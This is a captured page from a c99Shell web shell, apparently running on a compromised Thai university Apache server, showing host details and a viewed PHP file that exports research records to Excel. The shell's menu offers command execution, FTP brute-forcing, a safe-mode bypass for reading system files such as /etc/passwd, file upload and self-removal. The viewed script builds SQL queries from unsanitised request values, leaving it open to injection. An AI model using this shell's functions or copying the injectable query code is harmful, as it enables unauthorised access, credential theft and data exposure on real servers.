!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Research_depart/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ExcelAllResearchList.php (9.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
header('Content-type: application/xls');
        
header('Content-Disposition: attachment; filename="testing.xls"');
        require_once( 
"../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
        
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;


              
$sql3 "Select Teacher_code,First_name,Teacher_name,Teacher_lastname,Faculty_code From personal_tb Where Teacher_code='$Teacher_code'";
              
$result2mysql_query($sql3);
             
$rss mysql_fetch_array($result2);
    
        
/**  Config Table for This Page  */
        
$myTable "research_tb";
        
        
        
$myTable2PK "Research_code";
        
$myOrderBy "Year_finish";
        
        
$myTableField1 "Research_name";    
        
$myTableField2 "Branch";
    

        
/**  Parameters  */
        
$params "fiscal_year_finish=$fiscal_year_finish";
         
        
        
/**  Paging */
        
$page $_GET['page'];
        if( 
$page == "" ) { $page 1; }
            
        
/**  จำนวนข้อมูล ต่อ 1 หน้า  */
        
$perpage $_REQUEST['perpage'];
        if( 
$perpage == "" ) { $perpage 200; }
        
        
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />

<title>ข้อมูลงานวิจัยแยกตามรายบุคคล</title>
<style type="text/css">
<!--
.style1 {color: #000000}
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px">
      <?php
        
/**  Config Paging  */
        
if( $perpage == "" ) { $limit $_Config_limit; }
        else { 
$limit $perpage; }
        
        
$scroll $_Config_scroll
        
        
/**  ตั้งค่า Default สำหรับการทำ Order By  */
        
if( $OrderBy == "" ) { $OrderBy $myOrderBy; }
                        
        if( !isset(
$_GET['ASCDESC']) ) { $ASCDESC "ASC"; }
                        
        if( 
$_GET['ASCDESC'] == "ASC" ) { $ASCDESC "DESC"; } 
        elseif( 
$_GET['ASCDESC'] == "DESC" ) { $ASCDESC "ASC"; }
        
        
/**  Query เพื่อหา Numrows ก่อน  */
        
if( $keyword != "" ) { // ใส่ Keyword
            
$query " SELECT *  FROM $myTable  WHERE  fiscal_year_finish='$fiscal_year_finish' ";
        } else {
            
$query " SELECT *  FROM $myTable  where  fiscal_year_finish='$fiscal_year_finish'";
        }
        
$result $dbObj->execQuery($query);
        
$numrows $dbObj->_numrows;
        
        
/**  Paging  */
        
$display = ( !isset ($_GET['page']) ) ? $_GET['page'];
        
$start = ( ($display $limit) - $limit );
        
/**  Paging  */
        
        
if( isset($_GET['OrderBy']) ) {
            if( 
$keyword != "" ) { // ใส่ Keyword
                
$query "  SELECT *  FROM $myTable  
                                    WHERE  fiscal_year_finish='$fiscal_year_finish'     ORDER BY  $OrderBy  $ASCDESC "
;
                                
            } else {
                
$query " SELECT *  FROM $myTable  where  fiscal_year_finish='$fiscal_year_finish'  ORDER BY  $OrderBy  $ASCDESC ";
            }
        } 
        elseif( !isset(
$_GET['OrderBy']) ) {
            if( 
$keyword != "" ) { // ใส่ Keyword
                
$query "  SELECT *  FROM $myTable  
                                    WHERE fiscal_year_finish='$fiscal_year_finish'     ORDER BY  $OrderBy  $ASCDESC "

            } else {
                
$query " SELECT *  FROM $myTable where  fiscal_year_finish='$fiscal_year_finish'   ORDER BY  $OrderBy  $ASCDESC  ";
            }
        }
        
        
$query .= " LIMIT $start, $limit ";
        
$result $dbObj->execQuery($query);
    
?>
      
        <table width="1007" border="0" cellspacing="0" cellpadding="0">
          <form id="myForm" name="myForm" method="post" action="<?=$PHP_SELF;?>?page=<?=$page;?>">
            <tr>
              <td width="1027" height="5"></td>
            </tr>
            <tr>
              <td height="120" align="center" valign="top">
                <table width="967" border="0" align="center" cellpadding="0" cellspacing="0">
                  <tr>
                    <td height="31" align="left" style="padding-bottom:10px;"><strong>ปี งบประมาณ. :   
                      <?=$fiscal_year_finish ;?>
                    </strong></td>
                  </tr>
                </table>
                <?php // if( $numrows > 0 ) { ?>
                <table width="760" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                 
                  </tr>
                </table>
                <table width="974" border="1" align="center" cellpadding="0" cellspacing="0" class="BORDER-GREY">
                  <tr bgcolor="#F8F8F8">
                    <td width="38" height="25" align="center"><strong>ลำดับ</strong></td>
                    <td width="419" align="center" bgcolor="#F8F8F8" class="BORDER-LEFT"><strong> ชื่อผลงานการวิจัย </strong></td>
                    <td width="77" align="center" bgcolor="#F8F8F8" class="BORDER-LEFT"><span class="TEXT-DARK-BLUE10">ปีงบประมาณ</span></td>
                    <td width="97" align="center" bgcolor="#F8F8F8" class="BORDER-LEFT"><span class="TEXT-DARK-BLUE10">ปีการศึกษา</span></td>
                    <td width="87" align="center" bgcolor="#F8F8F8" class="BORDER-LEFT"><span class="TEXT-DARK-BLUE10">วัน/เดือน/ปี <br />
                      ที่เริ่ม</span></td>
                    <td width="85" align="center" bgcolor="#F8F8F8" class="BORDER-LEFT"><span class="TEXT-DARK-BLUE10">วัน/เดือน/ปี <br />
                      ที่แล้วเสร็จ</span></td>
                    <td width="99" align="center" bgcolor="#F8F8F8" class="BORDER-LEFT"><span class="TEXT-DARK-BLUE10">วัน/เดือน/ปี <br />
                      ที่เผยแพร่</span></td>
                    <td width="90" align="center" bgcolor="#F8F8F8" class="BORDER-LEFT"><span class="TEXT-DARK-BLUE10">ปี พ.ศ</span></td>
                    <td width="90" align="center" bgcolor="#F8F8F8" class="BORDER-LEFT"><span class="TEXT-DARK-BLUE10">แหล่งเงินทุน <br />
                      ภายใน</span></td>
                    <td width="90" align="center" bgcolor="#F8F8F8" class="BORDER-LEFT"><span class="TEXT-DARK-BLUE10">แหล่งเงินทุน <br />
                      ภายนอก</span></td>
                    <td width="90" align="center" bgcolor="#F8F8F8" class="BORDER-LEFT">รวมทั้งหมด</td>
                  </tr>
                  <?php 
           $no 
1+($display-1)*$limit;
            while( 
$rs $dbObj->fetchArray($result) ) { 
                
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
                 
$sql " SELECT * FROM  research_tb   WHERE   Research_code ='$rs[Research_code]' ";
                
$result1 mysql_query($sql) or die("Error".mysql_error());
                
$rss1mysql_fetch_array($result1);
             
          
?>
                  <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
                    <td height="23" align="center" class="BORDER-TOP"><?=$no;?></td>
                    <td align="left" class="BORDER-TOP-LEFT "><?php  echo $rs['Research_name']; ?>
                      </a></td>
                    <td align="center" class="BORDER-TOP-LEFT "><? echo $rss1['fiscal_year_finish']; ?></td>
                    <td align="center" class="BORDER-TOP-LEFT "><? echo $rss1['academic_year_finish']; ?></td>
                    <td align="center" class="BORDER-TOP-LEFT "><?php  
                $sday 
=  $rss1['Year_start'];
                
$yearthai explode"-"$sday );
                
$day intval$yearthai[2] );
                
$month intval$yearthai[1] );
                
$year intval$yearthai[0] );     
                
$m getThaiSubMonth$month );
                echo 
$day ." "$m ." "$year;
            
?></td>
                    <td align="center" class="BORDER-TOP-LEFT "><?php  
                $sday 
$rss1['Year_finish'];
                
$yearthai explode"-"$sday );
                
$day intval$yearthai[2] );
                
$month intval$yearthai[1] );
                
$year intval$yearthai[0] );     
                
$m getThaiSubMonth$month );
                echo 
$day ." "$m ." "$year;
            
?></td>
                    <td align="center" class="BORDER-TOP-LEFT "><?php  
                $sday 
=  $rss1['Year_sprop'];
                
$yearthai explode"-"$sday );
                
$day intval$yearthai[2] );
                
$month intval$yearthai[1] );
                
$year intval$yearthai[0] );     
                
$m getThaiSubMonth$month );
                echo 
$day ." "$m ." "$year;
            
?></td>
                    <td align="center" class="BORDER-TOP-LEFT "><? echo $rss1['Year_prop']; ?></td>
                    <td align="center" class="BORDER-TOP-LEFT "><? echo $rss1['FundIn'];?></td>
                    <td align="center" class="BORDER-TOP-LEFT "><? echo $rss1['FundOut'];?></td>
                    <td align="center" class="BORDER-TOP-LEFT "><? echo $rss1['FundUse'];?></td>
                  </tr>
                  <?php 
               $no
++;
            } 
# while 
            
$dbObj->freeresult($result);
          
?>
                </table>                 </td>
            </tr>
            <tr>
              <td>&nbsp;</td>
          </tr></form>
        </table>
    </td>
  </tr>
</table>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0128 ]--